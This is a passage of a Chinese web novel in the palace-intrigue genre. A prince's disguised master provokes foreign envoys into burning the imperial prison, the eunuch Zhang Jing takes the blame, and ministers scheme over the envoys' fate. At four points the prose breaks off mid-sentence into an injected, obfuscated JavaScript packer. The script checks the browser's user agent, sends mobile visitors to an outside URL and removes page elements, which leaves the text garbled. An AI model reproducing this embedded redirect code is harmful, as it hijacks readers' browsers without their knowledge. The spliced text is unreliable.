陆思臣恍然叹息道:“若是宏之叔在世,他应当不会让你……毕竟他最希望你继承他的衣钵,当个游商,走南闯北。” “……” 顾之行的神色却因为这句话完全冷了下来:“卑职还要继续巡逻,就不送陆小将军回宴席了。” 说着就要走,陆思臣在身后喊道:“等等,我住在上西街的陆府,若得空,可往我那处找我,叙叙旧。” 顾之行转头看向他,神色无波:“多谢陆小将军盛请,卑职有空定会去拜访。” * 紫宸殿,李暨刚放下药碗,一位小宦官就来向他请安,李暨眼皮都没抬就问:“如何?他们下手了?” 跪在地上的小宦官自是知无不言:“是的,奴婢在宴席上看得分明,有两位大人借着交好的由头却在离间圣上与陆小将军的关系。” “那两人是谁?” 小宦官分别说了官职与姓名。 李暨眯眼,竟罕见地没有发火:“那陆爱卿是如何反应的?” 小宦官将刚刚的场景又重复了一遍,又想起来般补充道:“对了,宫中巡逻的顾中郎将还碰到他了,两人聊了一会儿。” 李暨却产生好奇般,坐了起来,身体微微向前倾:“噢?他们说了什么?” “这……奴婢怕被发现离得远,所以没听清,不过看他们神色,好像只是说了几句客套话就分开了。” 李暨点点头,摆了摆手让小宦官退下。 黄忠适时上来添茶,觑着李暨的神色道:“这两人也真是大胆,敢在圣上眼皮子底下挑事,幸好陆小将军是个明事理的,才没有让奸人得逞,圣上要不我们……” 李暨打断他的话:“朕记得这两人是从地方上刚刚提拔上来的吧?” “是。” 李暨眼神阴鸷:“哼,脚后跟还没站稳就急着递交投名状,真不知说他们大胆还是愚蠢……暂时不用管他们,现在有更重要的事办。” 黄忠顺从地垂下眉眼:“是。” 李暨忽然想起什么似的,对黄忠道:“朕冷落了弥且孛扎等人的这两日,他们没出什么事吧?” “圣上放心,使臣们皆被安排在鸿胪客馆用好酒好肉招待他们,还有小张子在旁名为看照,实为监视,不会有什么问题的。” “那就好,毕竟是外番使臣,两国友好交流,还是不要怠慢了,吩咐下去,明日正式宣他们进殿朝见。” “是。” * 鸿胪客馆,厢房内,张净披着素净的外衣坐在窗边,就着桌上微弱的烛光看送过来的案牍,面色苍白到暖黄火光也未能染上色彩,额头上还缠了一圈白布,隐隐有点血迹浸透出来。 要说为何负了伤,这是还要从白天说起。 李暨为了灭灭弥且孛扎等人的威风,特意冷落了他们两日,可弥且孛扎又是何等人物,哪受得了这样对待,当即就要冲进皇宫找梁朝皇帝对峙。下面的人哪敢让他这样干,除非不想活了,一大帮子人就聚在庭院里吵吵嚷嚷的,大有一副要干起来的样子,幸好张净出现晓之以理,动之以情稳住了局势,但在离开的途中被弥且孛扎的一个亲信用一个锋利的石头砸伤了脑袋,又差点引起打斗…… 门扉“吱呀”一声被推开,两个小宦官一前一后踏进来,一人端着一盆清水;一人端着药瓶和干净的纱布,其中一人还一瘸一拐的,他们躬身喊了声:“干爹,儿子们来给您换药了。” “嗯,进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517639|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 张净放下案牍,身体稍微侧了侧,方便他们给自己换药,他们在揭开张净的纱布露出下面可怖的伤口时都忍不住“嘶”了一下,其中一个年级较小,腿脚不便的宦官忍不住抱怨了起来:“真是群野蛮子!一群没有教养的狗东西,下手这么没轻没重的,还敢伤了干爹……” 张净斜睨了他一眼阻止他继续说下去:“说的什么胡话?人家可是一国使臣,再怎么样也轮不到我们去编排,若让我再听到你说的这些就别在我面前做事了!省得让我心烦!” 年幼的宦官一看平时就没被训斥过,才被说了一句泪水就在眼框里打转,却还是倔强道:“就因为我们是没根的玩意儿,所以我们就注定一辈子都要低人一等吗?那人白日里这样辱骂干爹您,您难道真的不生气吗?” 这话说得漂亮,可张净是何许人也。 一位长着七窍玲珑心的人,一眼便看出这小宦官是想借此事让张净为他报白日里的羞辱之仇,那群蛮夷看不起宦官,再加上他们都是习武之人,手无缚鸡之力的宦官们根本不是他们的对手,尽管有护卫在,但冲突之下,一些宦官身上多多少少都受了伤,连张净都不能幸免。 小宦官身上的腿伤就是在那时弄的。 不过原因确是一个蛮夷看上了他,想要趁机轻薄于他,只不过没有得逞。 张净也知道,若是平时他可能会管一管,可如今这事不是他能左右的,再加上为白天一事心烦,这些人不但不为他分忧,还堵他心,心中更烦,立马呵斥出声:“越说越不像话了!你是从哪个宫里出来的?上头教你的师傅是谁?我倒是要瞧瞧是谁,竟教出你这么个清高的主!” 说着手一挥道:“我是管不了你了,你现在从哪儿来就到哪儿去吧!” “干爹!” 年幼的宦官瞧着张净的面色也知道自己说错话了:“扑通”一声跪了下来,带着哭腔哀求道:“干爹,干爹,对不起,我,我说错话了,我该死,你别不要我,若回去……我,我掌嘴,我自己掌自己嘴,求干爹原谅我……” 说着就开始自顾自地扇自己嘴巴子,一下又一下,清脆响亮,是用了十足十的力,半点水分也没有,没一会儿一张白净的小脸就被扇肿了。 可宫里训出来的人心肠是实打实的硬,张净听着这一声声把掌声,半分动容都没有,他朝外喊道:“外面的人都死了吗?还不快滚进来!将他送回宫里,若是惊扰了贵客仔细你们的脑袋!” 外面的人闻言立马进来,利索地将人架起来就往外面拖,为了防止他叫喊还用抹布将嘴塞住了,让他只能发出呜呜声。 稍微年长的宦官见此场景,悄悄咽了咽吐沫,小心翼翼道:“干爹,那这件事我们真的就不去回禀圣上了?” “现在正值多事之秋,多一事不如少一事,那场闹剧就先按下去不要声张,我只希望能够安稳地度过此夜。” 经过刚刚的动气,张净只觉头疼用手抵额揉着太阳穴。 年长的宦官见状上前一步轻声道:“干爹,我来帮您。” 说着伸手帮张净放松神经。 张净闭眼享受,寂静的夜色中只闻油灯燃烧灯芯发出的噼啪声。 可偏偏有人不愿如张净的愿。 一个声音突然打破了这寂静,那人连滚带爬地上前道:“张少监不好了,出事了!!” 29. 诏狱 “什么?” 张净猛地睁开眼,厉声询问道:“你说什么?!” 那人神色慌张:“我听回来的人说,有几个羌胡人不但深夜大摇大摆穿行在街道上,而且……而且还闹出了人命!” 张净猛地站起身,边穿衣边往外走:“我不是吩咐过让你们看紧他们,一有情况就向我汇报吗?怎么现在出了那么大的事才知道告诉我?!” “这……张少监您也知道,那群蛮子不讲道理,我们也说了晚间有宵禁,无令不得随意上街,可他们哪管这些,非要出门找酒喝,趁我们不注意就闯了出去。我们拦不住只好在后面跟着,想着应该不会有什么事,哪知……哪知他们喝醉了竟强闯民宅……还逼,逼死了那家的女儿……” “喝酒?” 张净隐约察觉吃一丝不对劲,他顿住,回头,目光如炬:“大半夜谁撺掇着让他们出去喝的?这地方是没有酒给他们喝了吗?!还弄出了条人命?!!” 那人思索了半响:“这,这小人也不知道……可能是觉得这院子待的憋屈,想出去散散步?这些大人的心思小人哪敢揣摩啊,再不然……” 张净也不想听他胡言乱语了,打断道:“这件事你还告诉给了谁?” 那人也知道兹事体大,闹大了对谁都不好,连忙道:“小人谁都没告诉,一出事就来禀告给您了。” 张净这才缓了口气:“他们现在在哪儿?” “这……” 那人眼睛乱瞟,似乎在掂量着什么,支支吾吾半天才道:“小人现在也……不知道?” 还没等张净发火,又急忙解释道:“我们那时好死不死正碰上了巡查的禁军,那群军爷不听我解释不由分说就给他们定了扰乱治安的罪名抓,抓了起来。若不是小人有令牌……” 眼见张净脸色越来越难堪,才终于说出了他们的去向:“现在他们,可能正在去诏狱的路上……” “……” 张净脸色黑的如锅底灰,一言不发地迈步而出。 而在屋子里的人都走了后,这原本还跪在地上“哭哭啼啼”的人,突然跟变了个人似的,伸了个大大的赖腰,吊儿郎当的,他用拳头敲了敲肩头,嘀咕道:“徒弟交代师傅的这活不好干啊,回去得好好敲诈这小子一笔,嗯……现在该做什么呢?哦,对了,这场戏怎么可能缺少了一个重要因素呢?” 说完,他又变成了那个畏畏缩缩的小吏,哭喊道:“使臣大人,不好了……” * 月光薄薄的铺在护城河面上,夜巡的禁军从街角处转出来,清一色的玄色甲胄,手中长枪在月色下泛着冷光,他们腰间悬挂的铜牌发出的撞击声与脚踏青石板声相互应,形成一股压迫的气势。 “刘中郎将,我们这样干真的没事吗?” 其中一个禁军担心地看了一眼后面被他们五花大绑,早已不省人事被拖着走的两三个异邦人道。 看这些人的打扮和那个小吏话中的意思,他们应当就是外番使臣,就这样把外番使臣绑到诏狱,到时候肯定会闹到圣上那里,万一影响两国邦交,那他们真是万死难逃辞咎了。 刘冉这人心气很高,闻言不屑道:“慌什么?是这些人犯了宵禁在先,后又施暴,逼死民女。我们依律办事,就算他们是外番使臣又如何?进了我朝就要按照我朝律法处置,就算真的闹到圣上面前,你们只管把事情推到我身上。” 其他人面面相觑,见刘冉这样说都松了口气,如果不是屈服于刘冉的权威他们并不是真的想抓这些人。现在刘冉把责任都认下了,那还有什么好说的? 而他们刚把人关进诏狱,下一刻,张净就带人闯进来要把人带出去。 刘冉哪里肯,两方人直接对峙起来。 张净也没想到今夜带队巡逻的是这么个不懂变通的刺头,若是遇到其他禁卫,就算再不懂事暗地里贿赂两下,也能毫发无伤地把人接走。 可这人软硬不吃,将律法当做人生圭臬,让人头疼。 张净:“刘中郎将我知你办事态度,很尽责,只是他们虽犯了法,可都是些蛮夷,并不懂我朝律法,不若网开一面,将人交给我,我自会向他们讨个说法。” 张净毕竟还是圣上身边的红人,刘冉对他的态度还是很恭敬的,可话中的意思却是寸步不让:“张少监,并非卑职不肯将人放走,只是卑职职责所在,若谁来都可以将人带走,那这诏狱岂不是成了个来去自如的客栈?我朝律法难不成成了个形如虚设的……” 张净闻言脸色一冷,转而又笑道:“刘中郎将此话严重了,我并非有此意,只是此时事关两国邦交,并非你我可以决定的。若真让他们在狱中受辱,势必会影响我朝对待外邦好友宽容的形象。不若这样,把他们移交到会同馆?交由礼部看管?” 刘冉原本严肃的神情在听到礼部后,脸色突然有一丝微妙,不再言语,似乎在掂量些什么。 刘冉是礼部尚书刘海龙的幼子,比起刘海龙八面玲珑,处事圆滑的性子,刘冉可以称得上刚正不阿,可性格再怎么刚,都难敌一句“孝子”。 礼部又负责外交的各种事宜,若是让刘海龙知道此事,不管出于何种缘由都会让刘冉直接放人。 “张少监……” 刘冉还要再说些什么,就听外面吵声震天,隐约还见一片火光,他高声道:“外面发生何事了?” 看门狱卒刚把门栓拿开,把门打开,想要瞧瞧是何人如此大胆,竟敢深夜到诏狱闹事,还没看清来人,就被外面踹门的人给掀翻在地。 来人力气之大,让人胆寒。 “弥且孛扎,别冲动!!” 一名蓄发编辫,留着寸长胡须的男人在后面追喊道。 弥且孛扎一人当前,完全不顾后面的阻拦,大声道:“谁人把老子的兄弟关起来了?还不快给老子放出来?否则老子就把你们这什么狱一把火给烧了个干净!” “天子脚下,何人竟敢口出狂言,藐视律法?!” 刘冉枪指向闯入者,竖眉冷对,坚毅的脸上是少见的怒气,如金刚怒目,瞪视着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517640|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个挑战权威的大胆者。 弥且孛扎不给任何人反应时间,三步上来就开踹:“你给老子记住了,你爷爷我叫弥且孛扎!” 刘冉大概没想到来的人如此不讲道理,躲闪不及,仓皇之下只能拿枪去格挡,卸力,反手把枪变棍挥向弥且孛扎。 弥且孛扎不躲不避,仗着自己力气大一把拽住枪身,浑身肌肉青筋暴起,右边身子上前,握手成拳挥过去被刘冉躲开,一拳打在红木柱子上,柱子被震得碎屑飞起,竟凹进去一块…… 三方人马就这样在一方庭院中莫名其妙地打了起来,根本拦不住,禁军这边人数虽占据优势,但因打起来顾虑多,束手束脚的,阵型很快就被冲散了;而那边人少且赤手空拳,可却无所顾忌,一时之间竟达成了某种微妙的平衡…… 在如此混乱的时刻,不知谁大喊了一声:“走水了!走水了!大家快灭火啊!!” 被旁边宦官护着躲到角落的张净抬头看天,火舌已经舔上了瓦当,沿着屋脊往上窜,青黑色的瓦片在高温里发出细碎的爆裂声,噼里啪啦,像骨头在火里炸开。 浓烟先于火焰涌出来,裹着焦糊的腥气,一团一团地往天上滚,无论用什么手段都掩盖不住了。 张净听着旁边乱作一团的声音,脸色已是青白无比。 而始作俑者借着夜色的掩护悠闲地坐在别人家的屋檐上,望向火光连天的诏狱,拍了拍衣角站起身:“哎呀呀,事情已经办妥了,该去找我那乖徒儿了邀功去咯!” 说着运用轻功,逃离案发现场,颇有闲事了拂衣去,深藏功与名的洒脱。 * 皇宫,明曦殿,清风徐来,李泽桉穿着单衣坐在庭院里独自一人下棋,而对面已经备好了一壶某人最爱喝的“莫醉”。 一阵风过,原本还在观看火灾现场的人,已经坐在了李泽桉对面给自己到了一杯酒品尝。 他咂摸着嘴,感慨道:“喝来喝去还是这莫醉最让人喜欢!” 说着还要再去倒一杯。 李泽桉却一把夺过酒壶,笑道:“师傅还告诉徒儿事情有没有办妥呢?” 那人撕下假皮,露出一张七八十岁无比苍老的脸,他有些不甘心地舔了舔嘴唇,盯着那壶酒道:“哎呀,你师傅我出马肯定是万无一失。放心吧,事情都已经办妥了。” 说着,又将目光移到李泽桉脸上:“不过话说,徒儿,你为什么非要让那群异邦人大闹诏狱?这不是给你那皇帝老儿添堵吗?” 李泽桉将酒壶放下,又开始和自己对弈,闻言笑得很开心:“添堵?我明明是在帮父皇的忙。” 他落下一子,白棋瞬间被切断了所有退路:“如今胡羌族人狮子大开口想要一口吞下我国半个国库去填补他们因寒岁而被冻死的牲畜和人。你觉得父皇会答应吗?” “不会,因为孩童都知道以身饲虎除了把虎越养越壮,并没有什么好处,反而可能会把你一口咬死,吞入腹中。可他身处高位又不得不答应,因为会有人出于某种利益逼着他答应。” 30. 对弈 老人听明白了,摸着白花花的胡须大笑:“在乱中取胜无异于火中取栗,其风险很大,徒儿,你难道不怕事情发展会超出你的掌控?” “所以,师傅不是来帮我了吗?” 李泽桉将白子落下,原本还深陷绝境的白子,瞬间绝境逢生,从中杀出了一条血路:“多亏师傅带来消息,外番使臣中有人不合,我才可用此计策。” 老人咧嘴大笑:“那弥且孛扎虽是萨特尔①所生,母族势大,从小自然就被受宠爱甚至有意立他为萨普②,可这出使他国毕竟是国家大事,他一个小屁孩知道什么外交礼仪?所以为了稳妥一点,他们就只能再派一人前往,可又不能夺了弥且孛扎的风头,最终选来选去就选择了弥且沣。” “弥且沣和弥且孛扎是兄弟还比弥且孛扎大上许多,甚至能力与计谋都高上弥且孛扎这个缺心眼的高上许多。按理他说并不在出使名单上。可这人是个私生子,甚至生母还是个奴隶,这是他人生中的一大污点,所以任凭他有再多多的功绩与能力他都无法去撼动弥且孛扎的地位,甚至还可能成为垫脚石。” “而如果这次出使成功,无论过程如何,其首功定是弥且孛扎的。” 李泽桉将棋局上的棋子一个个拾到棋奁里:“弥且沣却是个有野心的,他怎么可能甘心屈居人下。而为了不让其弟的势力更大,他定会从中作梗。” 老人笑道:“他原本想从中作梗的,可惜被我的乖徒儿捷足先登了。” “那他剩下要做的就是……怎么收拾这残局和将事态朝对他有力的方向发展。” 老人很欣慰地看着李泽桉:“徒儿聪明,很多事情我只不过是提点了一下,你便知道该怎么走,该走哪一步。” 说着,他又话锋一转,调侃道:“不过张净那小子应该是你的人吧?看情况那小子似乎不知道你的计划。你可没看见他看着那群人的脸色,简直要把那群人吃了,哈哈哈……” 李泽桉又重新摆了棋局,这次不再是他一个人对弈:“他并不是我的人,只不过我们所求的方向一致罢了。” 老人执黑棋落下:“所求?张净那小子都已经做到了少监的位置了,从四品上,多数宦官等到老死都做不到他的位置,他还有求什么?再往上就是内侍监了,不过等黄忠那个老东西死了,不出意外应该是他当吧。” “谁知道呢。” 李泽桉不甚在意地一笑,落下白子:“不过听他说,似乎是为求个心安?” “……” 老人闻言笑意转淡,他仰头喝了好几口酒,两人又沉默对弈了一会儿,才又开口:“话说你这庭院怪冷清的,没啥人就算了,咋不种个花摘个草什么的,若不是几年前我有幸来过一次,还以为我一脚踏入的是个冷宫。” 李泽桉抬眼看了一下庭外景色,没什么情绪:“我瞧着还行,可能是今年的天格外的冷,院子很多花都还没开。” 老人:“……” 说到寒岁,老人更笑不出来了,今年的雪下得比往年大,对有些人来说是瑞雪兆丰年,可北方游牧民族却遭了殃,更加恶劣的气候,冻死了不少牲畜,而等来年雪一化,气温一升,那些来不及掩埋的尸体就会变成瘟疫把剩下牲畜感染而死,牲畜没了,人没口粮,也会饿死。 占领了十三州又有何用?除了变成贵族老爷们的温柔乡,富贵冢没其他用处。 老人在边疆生活了大半年,这几天才跟随使臣回到阎都,所以饿浮遍野他是见过的,可以称得上一句人间惨剧了。 刚有些懊恼怎么扯了这个话题来聊,李泽桉突然没头没脑地来了一句:“师傅,我找到他了。” 老人一愣好半天才反应过来,又因没拿稳差点将杯中酒撒出来:“你,你是说你找到了那个让你等了很多年的小兄弟吗?你是如何找到的?” “他就在皇宫里,与我只隔了几道墙门。” 李泽桉原本没什么情绪的双眸突然染上了某种疯狂神色,他笑道:“师傅,你说这算不算是上天的馈赠?” 老人静默地看着眼前的少年,少年身姿挺拔如松,眉眼尽是上位者的从容,似乎再也不能将他和多年前那个在街角边蹲着,身上脏兮兮,眼神倔强,像个小刺猬一样扎人的小孩重叠在一起。他挠了挠脸,有些不自在道:“那,那个小兄弟他还记得……” “他还记得我,正如我一直记得他一样。” 李泽桉摩挲着棋子,神色有些黯淡:“可惜,我们现在并不能在一起,我也……有很多东西不能和他说。” 老人:“……” 李泽桉突然抬头直视着老人:“不过他是站在我这边的,对吗?” 老人看着似乎陷入某种偏执情绪的李泽桉,张了张嘴,最终还是什么都没说。 那么多年,老人一直知道他口中的“哥哥”对他的重要程度,当年自己什么都不知道的时候,曾好奇问过李泽桉为什么非要在一个地方执着的等一个永远不会再回来的人时,这小子看着他那凶狠的眼神,像是要把他撕碎一样…… 为此还差点断绝师徒关系…… 回忆往昔,老人又忍不住一阵牙酸。 往事不堪回首啊,如果不是看这小子合他眼缘又聪明,他早就不管他了。 虽然这么多年,他因为走南闯北,也没咋管过就是了,连易容术都是李泽桉照着他丢下的书自学成才的…… 想到这老人又莫名涌出一阵心虚,喝了好些酒才将这颗心安下来。 幸好李泽桉并不是真的想要个答案,他自顾自地往下说:“没事,就算他现在不站在我这边,我也会想办法让他站在我身边的。这只是个时间问题罢了,我有耐心。” * 诏狱,如李泽桉所猜想的一样,在事情彻底失控前,原本还在旁边划水的弥且沣突然倒戈,率领自己的几个亲信将弥且孛扎直接给绑了,这场闹剧才算终结。 可就算如此,这场突如其来的暴乱所带来的后果依然很严重。 诏狱深夜被劫,被烧,这简直是把天家颜面往泥水地里踩。 张净环顾四周,火已被浇灭,可地上的石板已经被烧裂了大半,裂缝里积着黑水,分不清是救火时浇的,还是前几日的雨水。墙还在,但被大火熏得乌黑,从根到顶都是焦的,摇摇欲坠似乎下一秒就要倒塌。 空气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517641|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中都是焚烧木材而飘浮的灰烬。那些灰烬很轻,慢慢地落,落到哪里就黏在哪里,到处都是。 四散溃败的禁军伤的伤死的死,连刘冉都带了伤,狼狈不堪。 这一切竟是如此荒谬却如此真实,太巧合了,张净握紧拳头,试图将自己冷静下来,脑子拼命地思考,试图将一切巧合串联起来,是谁在背后操作这一切? 崔氏?圣上?还是…… 所以他想要做什么? 还是只是单纯地想要陷害自己?! 可每一个不是缺少动机,就是缺少证据。 而那个少掉的东西张净永远都猜不到了。 弥且沣将弥且孛扎打晕,往地上一扔,抱拳道:“吾弟性格顽劣,今晚闯下如此大祸,我这个当哥哥的也不好过于偏袒,现在我就将他捆住,任凭梁朝皇帝发落,只希望张少监在梁朝皇帝面前多说些好话,不要影响两国的友好之情。” 张嘴就是一口流利的中原官话。 弥且孛扎剩下的亲信自然也被绑起来了,只是在听到弥且沣的话后,开始用羌语大喊大叫,翻译过来:你不过是一个卑微的奴隶之子,竟敢绑架我们尊贵的王子!还想将他交给梁朝皇帝处理!如果王后知道了定会将你扒皮抽筋,放进油锅里炸! 弥且沣任凭那人辱骂,自始至终神色都很平静。 张净听着听着却突然大笑起来,从喉咙里发出的声音,听着竟有些渗人。他还以为像羌胡族这种蛮夷不会中原那样勾心斗角的戏码,现在看来无论什么种族,只要是人,都逃不过“利益争斗”四个大字。 他定定地瞧着弥且沣:“弥且沣,你知道这诏狱是什么地方吗?是关押犯人的地方,如今你们大闹诏狱,还差点将一些朝廷要犯放出去,这事一出,我也难逃罪责。” 弥且沣:“……” 张净是被搀扶着出去的,大概是今晚太过刺激,超出了他的预测,瞧着身影都有些不稳。 “干爹,我们现在该怎么办?” 搀扶着张净的宦官忍不住担忧道,圣上派他们去就是怕这些外番使臣闹事,现在好了,不但闹了,还闹出个大的,谁都瞒不住,圣上定会向他们问责。 张净仰头看向远处皇宫的方向,眼神中闪过某种锐光,突然他站直身体,推开搀扶着他的人,将戴在头上的黑色幞头摘下,接着是腰带,紫色窄袖圆领长袍,只穿着单薄的白色中衣…… 竟然当街脱掉官服……跟在张净后头的宦官哪见过这种阵仗,还以为张少监终于疯了,连忙道:“干爹,干爹,这是何意啊?干爹是圣上的最宠信之人,就算出了事,圣上再怎么责问干爹也……” 他们还想再劝,却被张净一个眼神给制止住了,只能在一旁不安地看着。 张净神色无比冷静,他开口:“放心,你干爹我还没疯,这事闹得太大,事关天家颜面,自然需要有人去顶罪。” 而他是最好的人选,其一给圣上一个台阶下;其二他是圣上最宠幸之人,若不做什么表示,圣上冷落外番使臣的举动定会被朝堂中以崔氏为首的官员拿来攻讦。 他作为圣上宠信之人自是要为圣上分忧。 31. 论责 张净说得很对,第二天李暨得知所有事情发展后勃然大怒,先是不由分说将“脑袋一根筋”的刘冉停职半年,闲赋在家;再派禁军以让弥且孛扎他们接受调查为由将他们软禁在会同馆。 而张净已事先脱下官服自行请罪,李暨又看他额头上还流血的伤疤,思考了一下,不顾众臣反对竟只是免除他一年的俸禄,再打二十大板,算是小小惩戒一下。 原本在皇宫的顾之行却拿到了一个不属于他的差使,他身为千牛卫中郎将,职责本该守在皇帝身边,可经过“诏狱”一事,李暨谁都不相信了,只让顾之行带人暂时将他们软禁起来。 此举是冲动之下的举动,很不妥。 以崔氏为首的众臣都认为不妥,政事堂内,讨论声络绎不绝,其讨论的核心是:圣上该不该囚禁外番使臣。 反对者:“我认为这次圣上实在太冲动了,怎么能随意囚禁外番使臣?这未免显得我朝心胸过于狭隘?” 支持者:“这外番使臣都骑到咱们头上来了,为何还要退让?就因为退让我朝一十三州才被此蛮夷霸占多年!每每想起我等皆宿不能寐!要我说就应该直接将他们就地正法!” 反对者:“你想引起两国开战吗?!那已经是陈年旧账了,还要屡屡翻出来说!我们现在要讨论的是该不该让圣上释放外番使臣!” 支持者:“要我说真就不该放,他们对我朝实在无礼,昨日他们敢火烧诏狱,若今日不处罚他们,明日他们保不齐又惹出什么祸端来!” 反对者:“你这样说,那你可担得起这“引战之罪”,我朝如今国库空虚,今年南方春汛引起的水涝还未解决,西北的雪灾又接踵而至,如果要开战,不说那些边疆将士如何,这税又要如何去收!苛捐杂税不是更把百姓往死里逼!” 支持者:“你这是涨他人威风,灭自己气焰!” 反对者:“我这是实话实说!” 支持者:“可这事关皇家颜面,这弥且孛扎实在太过分了,如果能让他向圣上诚心道歉……” “说到底还是宦官当道,现如今圣上只听信张净的一面之词,那个张净办事不力不说,还进献谗言让圣上包庇他,实在是让人寒心啊!” 说这话的是刘氏家族的人。 还有人附和甩锅:“对,我看应当将张净治罪,如果不是这人玩忽职守,那诏狱何至于失火?!我们应当联合起来一起弹劾张净,这样不但给外番使臣一个交代,还能保住圣上颜面!” 大家各持己见,吵得不可开交。 直到周稠锦站出来,向正上方行礼道:“崔太尉您觉得该怎么办?” 声音不大,但成功让在座的官员都闭嘴了,他们纷纷看向坐在上方,从一开始就闭目养神的老人。 崔文豪缓缓睁开那双浑浊的眼睛,声音苍老:“天家颜面是要保的,不过圣上太冲动了,这不好,会伤了两国邦交。” 一句话,总结的很好,但有啥解决办法呢? 难道真的要将张净推出去当替罪羊? 这圣上能舍得吗? 难不成要死谏?! 可这圣上对他们本就不满,如果真把圣上逼急了,难保他不会对他们做什么,大家都上有老下有小的…… 众臣都期盼着崔文豪能拿出办法来,可崔文豪说了这句话后就没再开口,反而缓缓站起身,走了。 众臣面面相觑不知该作何反应,无法,只能继续吵;不,是继续辩论,直到能辩论出个结果才算了事。 就这他们不仅不嫌烦,还拉上圣上一起说事,支持者觉得要依律法办;反对者则是骂圣上太过意气用事,赶紧把人家放出来;中间还有弹劾张净的。 他们不仅朝堂上吵,下朝后那奏折更是一个接一个上表,支持者毕竟是少数派很快就被反对者压下去了。 李暨被烦得不行,气得用药量都加重了。 而这正是李泽桉乐见其成的。 * 距离给李暨施压已经有几天了,不能说毫无效果,也只能说是收效甚微。 李暨态度模糊,始终不肯采纳任何谏言。 崔府,崔文豪正在躺椅上晒太阳,旁边是跪在地上伺候的年轻美妾,她将剥好的葡萄亲自送到他嘴边,又拿手去接他吐出的葡萄籽。 崔霄则站在荷花池旁用鱼食喂鱼,池子里的锦鲤们全都游过来,为了争抢吃食,吐出一个个泡泡。 “爹,你说圣上这是什么意思?我们都将厉害关系给他讲清楚了,只要将张净等人推出去治罪,这个结自然可解,到时候再安抚一下外番使臣,将他们老老实实送出阎都后,不就皆大欢喜了?” 他踱步,突然旋身道:“难不成这圣上当真舍不得这个张净?哼,这帮腌臜玩意儿不知给圣上吹了什么风,导致我们君臣之间离心离德,连在等大事上都拎不清厉害,我朝难道真的要让那帮腌臜玩意儿治国吗?!” “圣上可没你们想得那么愚蠢……” 崔文豪声音顿了顿,又道:“不过他这么护着张净的确事有蹊跷,张净肯定对他说了什么。” 周稠锦吊梢眼里闪烁着算计:“天家薄情,一个小小的少监再怎么宠信,也抵不过江山社稷,体己的没了就再找一个就是了,而江山没了……” “现如今最令圣上最头疼的便是朝礼,张净为了不受惩罚,应该会想办法帮圣上解决这个问题。” 崔霄皱眉:“你们的意思是?” 崔文豪将嘴里的葡萄籽吐出来,慢慢道:“圣上借机将外番使臣禁足不像是一时冲动,更像是希望借此事重新和外番使臣商谈朝礼。” 周稠锦点头附和:“那外番使臣狮子大开口,圣上本就心存不满,只是不好表现出来,如今有了这次机会,自然要好好利用。” 崔霄眉头依然皱着:“那个张净要怎么做?那弥且孛扎连诏狱都敢烧,就算有人向他提议,也不会轻易答应吧。” “不是张净要怎么做,而是我们要怎么做。” 崔文豪换了一个舒服的姿势,将头枕到侍女的膝上,眼睛始终眯着:“如今圣上不但提防着我们,还一直在找崔氏的错处,这次我们要让圣上知道,谁最心向着他。至于如何谈,我记得他们内部似乎……有不同的声音。既然这个人谈不拢,就换一个人。” 周稠锦向来是以崔文豪为尊的:“这不失为一个办法,不过负责会同馆的禁卫军是那个叫顾之行的,就是拿办了郑旭,将荆州一干地方官员全都拽下马,一网打尽的人。” “我听闻他手下的人将人看得紧,连一只虫子都飞不进去,我们要如何绕过他去谈?” 崔霄理所当然:“贿赂一下不就得了?” “不可。” 崔文豪否定他的想法:“这姓顾的不简单,怕是不会那么轻易被收买,别到时候再让人拿了把柄去。” 崔霄:“……” 周稠锦:“我们虽不知他的底细,可他和王氏家的小子——王杰通似乎走得比较近,而王氏又与我家又有些走动关系……” 崔文豪歪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆思臣推辞道:“府外还有副将在等我,今日恐怕不能如太师的愿了,改日晚辈自当宴请太师,还望太师到时赏脸一聚。” 崔文豪身居高位已是很久没被人拒绝了,不过他并未表露出生气,反而和蔼道:“既然你还有事,那我就不留你了。” 他高声道:“来人,将陆小将军送出府。” 这洪亮的声音,再活个十年都没问题。 陆思臣出了崔府,刚跨上马鞍,他的副将罗志也骑着马迎上来:“将军,他们都聊了什么,聊那么久才放你出来?” 